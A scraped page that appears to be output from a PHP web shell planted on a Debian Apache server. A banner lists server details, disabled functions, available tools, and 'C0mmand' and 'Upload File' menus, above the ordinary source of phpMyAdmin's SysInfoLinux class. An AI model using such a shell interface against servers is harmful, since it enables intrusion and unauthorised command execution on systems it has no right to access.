|
Server IP : 10.2.73.233 / Your IP : 216.73.216.223 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/../usr/sbin/../share/java/../python/../python3/../phpmyadmin/libraries/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
* Hold PMA\libraries\SysInfoLinux class
*
* @package PMA
*/
namespace PMA\libraries;
/**
* Linux based SysInfo class
*
* @package PhpMyAdmin-sysinfo
*/
class SysInfoLinux extends \PMA\libraries\SysInfo
{
public $os = 'Linux';
/**
* Gets load information
*
* @return array with load data
*/
function loadavg()
{
$buf = file_get_contents('/proc/stat');
$nums = preg_split(
"/\s+/",
mb_substr(
$buf,
0,
mb_strpos($buf, "\n")
)
);
return Array(
'busy' => $nums[1] + $nums[2] + $nums[3],
'idle' => intval($nums[4]),
);
}
/**
* Checks whether class is supported in this environment
*
* @return true on success
*/
public function supported()
{
return @is_readable('/proc/meminfo') && @is_readable('/proc/stat');
}
/**
* Gets information about memory usage
*
* @return array with memory usage data
*/
function memory()
{
preg_match_all(
MEMORY_REGEXP,
file_get_contents('/proc/meminfo'),
$matches
);
$mem = array_combine($matches[1], $matches[2]);
$defaults = array(
'MemTotal' => 0,
'MemFree' => 0,
'Cached' => 0,
'Buffers' => 0,
'SwapTotal' => 0,
'SwapFree' => 0,
'SwapCached' => 0,
);
$mem = array_merge($defaults, $mem);
foreach ($mem as $idx => $value) {
$mem[$idx] = intval($value);
}
$mem['MemUsed'] = $mem['MemTotal']
- $mem['MemFree'] - $mem['Cached'] - $mem['Buffers'];
$mem['SwapUsed'] = $mem['SwapTotal']
- $mem['SwapFree'] - $mem['SwapCached'];
return $mem;
}
}